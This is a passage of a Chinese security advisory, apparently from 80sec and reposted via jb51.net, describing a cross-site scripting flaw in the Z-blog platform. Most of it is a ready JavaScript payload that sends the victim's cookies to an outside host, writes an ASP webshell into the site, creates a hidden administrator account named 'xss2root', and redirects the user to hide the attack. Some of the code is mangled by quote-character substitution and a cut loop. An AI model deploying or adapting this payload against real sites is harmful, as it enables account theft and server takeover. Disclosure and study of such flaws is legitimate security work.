x]http://www.80sec.com[/URL]
用户看到的是http://www.80sec.com这个信任的站点，而一旦点击将在www.foo.com域执行恶意用户指定的js，在该js里可以 写shell，添加用户，偷取COOKIE然后模拟出真正的转向，整个过程很难发现攻击的意图，80sec提供js如下：
xmlhttp=poster();
cookie=document.cookie;
login=cookie.indexOf('password')==-1?0:1;
tolocation='http://www.80sec.com/';
//get cookie
x=new Image();
x.src="http://www.80sec.com/c.php?c=" escape(document.cookie);
//get a shell
data="txaContent=<%execute(request("a"))%>“;
postmydata(”http://www.0×37.com/cmd.asp?act=SiteFilePst&path=./UPLOAD/index.asp&opath=”,data);
//add a user data=”edtID=0&edtLevel=2&edtName=xss2root&edtPassWord=d073d5454ffe92bdcd3cbcb77d149df5&edtPassWordRe=xss2root&edtEmail=null@null.com&edtHomePage=&edtAlias=”;
postmydata(”http://www.0×37.com/cmd.asp?act=UserCrt”,data);
//fool the user
window.location=tolocation;
function poster(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType(’text/xml’);
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}
function postmydata(action,data){
xmlhttp.open(”POST”, action, false);
xmlhttp.setRequestHeader(’Content-Type’, ‘application/x-www-form-urlencoded’);
xmlhttp.send(data);
return xmlhttp.responseText;
}
漏洞状态：已经联系官方，请等待官方公告。
本站内容均为原创，转载请务必保留署名与链接！
Z-blog跨站脚本攻击漏洞:http://www.80sec.com/zbog-xss.html
Z-blog跨站脚本攻击漏洞
原文：http://www.jb51.net/hack/5460.html
